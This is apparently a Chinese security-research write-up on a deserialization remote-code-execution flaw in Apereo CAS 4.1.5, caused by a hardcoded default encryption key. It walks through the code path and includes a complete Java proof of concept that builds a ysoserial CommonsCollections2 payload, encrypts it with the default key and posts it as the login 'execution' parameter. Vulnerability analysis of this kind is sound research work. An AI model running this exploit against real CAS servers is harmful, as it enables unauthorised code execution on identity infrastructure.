这个漏洞最早来自:
https://apereo.github.io/2016/04/08/commonsvulndisc/
没有CVE编号。
漏洞的成因是因为key的默认硬编码。
在cas-server-webapp-4.1.5\WEB-INF\lib\spring-webflow-client-repo-1.0.0.jar!\etc\keystore.jceks
加解密相关的配置会先去配置文件中获取,没有配置密钥信息的会使用jar包默认的密钥信息(默认keystore文件位于spring-webflow-client-repo-1.0.0.jar包当中)。
由于cas默认配置文件中没有对密钥进行配置,导致我们可以用spring-webflow-client-repo这个jar包中默认的密钥加密序列化数据进行攻击。
参考:
https://www.00theway.org/2020/01/04/apereo-cas-rce/
下载cas-4.1.5
放到tomcat的webapps目录下,自动解压。
运行成功之后返回登陆页面:
登陆的接口发现有一个execution参数:
直接base64并没有得到有意义的字符:
在这里:
org/springframework/webflow/mvc/servlet/FlowHandlerAdapter#handle
开始处理,
对于没有execution(GET login页面准备生成时)和已有execution时的两种处理方式:
然后
String flowExecutionKey = this.flowUrlHandler.getFlowExecutionKey(request);
拿到execution这个key,
继续对这个key进行解析:
进入真正解析的地方:
这里的解析方式表明_
前面是一个uuid,_
后面是base64编码的flow state?
UUID:
在解码的时候
org/jasig/spring/webflow/plugin/EncryptedTranscoder#decode(byte[] encoded)
有一个readObject操作:
还原出来的state是这样:
但是如何构造这个序列化的请求呢?
由于解密是在org/jasig/spring/webflow/plugin/EncryptedTranscoder#decode(byte[] encoded)
这里,于是考虑在其encode方法下断点,重新刷新login页面,这里序列化这个execution字段的时候应该会用到encode将这个值返回给客户端,等待期登陆的时候带上。
decode代码(缩略版):
public Object decode(byte[] encoded) throws IOException{
// 先AES解密,然后readObject
byte[] data = this.cipherBean.decrypt(encoded);
ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
ObjectInputStream in = new ObjectInputStream(new GZIPInputStream(inBuffer));
var5 = in.readObject();
in.close();
return var5;
}
encode代码(缩略版):
// 将传入的Object使用AES加密,然后writeObject
public byte[] encode(Object o) throws IOException {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
out.writeObject(o);
out.close();
return this.cipherBean.encrypt(outBuffer.toByteArray());
在encode下断点之后,追踪这个序列化数据的流程:
org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository#getKey(FlowExecution execution)
return new ClientFlowExecutionKey(this.transcoder.encode(new ClientFlowExecutionRepository.SerializedFlowExecutionState(execution)));
由于CAS的WEB-INF/lib下刚好有commons-collections包,所以可以使用ysoserial的CommonsCollections2这个gadget进行反序列化攻击。
// 依赖CAS自带的包
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.jasig.spring.webflow.plugin.EncryptedTranscoder;
import org.cryptacular.util.CodecUtil;
// 依赖ysoserial
import ysoserial.payloads.ObjectPayload;
// 发起请求
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.Consts;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.ResponseHandler;
import org.apache.http.HttpEntity;
import java.util.ArrayList;
import java.util.List;
public class PoC{
public static void main(String[] args) throws Exception{
String poc[] = {"CommonsCollections2", "calc"};
final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);
// AES加密
EncryptedTranscoder transcoder = new EncryptedTranscoder();
byte[] aesEncoded = transcoder.encode(payloadObject);
// base64加密
String b64Encoded = CodecUtil.b64(aesEncoded);
System.out.println(b64Encoded);
// 使用一个已有的UUID与生成的payload构造成一个execution
String exection = "81d2df90-90c4-4ae9-a48f-ad254bb43903_" + b64Encoded;
// 通过HttpClient发送PoC
sendPoC(exection);
}
/*
* 实际上只需要提交这两个字段即可:
* lt(即loginTicket),execution
* 参考:https://memorynotfound.com/apache-httpclient-html-form-post-example/
*/
public static void sendPoC(String execution)throws Exception {
List<NameValuePair> form = new ArrayList<>();
form.add(new BasicNameValuePair("lt", "LT-1-nHNSOYJzpyCmngDyq9rl9TtS3rNQte-cas01.example.org"));
form.add(new BasicNameValuePair("execution", execution));
UrlEncodedFormEntity entity = new UrlEncodedFormEntity(form, Consts.UTF_8);
// 构造HttpPost
HttpPost httpPost = new HttpPost("http://cqq.com:8088/cas-server-webapp-4.1.5/login");
httpPost.setEntity(entity);
// 构造HTTP响应处理器
ResponseHandler<String> responseHandler = response -> {
int status = response.getStatusLine().getStatusCode();
if (status >= 200 && status < 300) {
HttpEntity responseEntity = response.getEntity();
return responseEntity != null ? EntityUtils.toString(responseEntity) : null;
} else {
throw new ClientProtocolException("Unexpected response status: " + status);
}
};
// 使用HttpClient执行POST方法
CloseableHttpClient httpclient = HttpClients.createDefault();
String responseBody = httpclient.execute(httpPost, responseHandler);
System.out.println(responseBody);
}
}
注:如果放到burp中发请求,需要使用url encode key characteres(将特殊符号进行url编码),或者all characteres也可以。
猜想CAS应该在请求到来之前,Spring启动的时候就已经加载了硬编码的秘钥,因此可以尝试调试Spring启动CAS的过程。
由于一般使用调试的命令是
server=y,suspend=n
server=y是肯定的;
suspend=n用来告知 JVM 立即执行,不要等待未来将要附着上/连上(attached)的调试者。
suspend=y, 则应用将暂停不运行,直到有调试者连接上。
参考:https://www.jianshu.com/p/d168ecdce022
在解析了execution之后,又会生成新的execution,联想到最近的.NET的viewState的反序列化漏洞,所以在测试的时候可以留意一下csrf token之类的是否存在反序列化的问题。
参考:
https://yemengying.com/2017/10/07/spring-dispatcherServlet/
借此机会也学习一下Spring MVC的架构。还是先从web.xml看起,
Spring MVC的关键角色是DispatcherServlet(org.springframework.web.servlet.DispatcherServlet
),是MVC中的C,即Controller角色。所有的HTTP请求都会先经过这个类,然后再由它分发给具体的Controller(注解有@Controller
的类)
当 DispatcherServlet 被配置为 load-on-startup = 1,意味着该 servlet 会在启动时由容器创建,而不是在请求到达时。这样做会降低第一次请求的响应时间,因为DispatcherServlet 会在启动时做大量工作,包括扫描和查找所有的 @Controller 和 @RequestMapping 注解的类。
在 DispatcherServlet 初始化期间,Spring 框架会在 WEB-INF 文件夹中查找名为 [servlet-name]-servlet.xml 的文件,并创建相应的 bean。比如,如果 servlet 像上面 web.xml 文件中配置的一样,名为 “SpringMVC”,那么会查找 “SpringMVC-servlet.xml”的文件。
由于这里的servlet-name配置为cas
,所以会在WEB-INF目录下查找cas-servlet.xml
文件: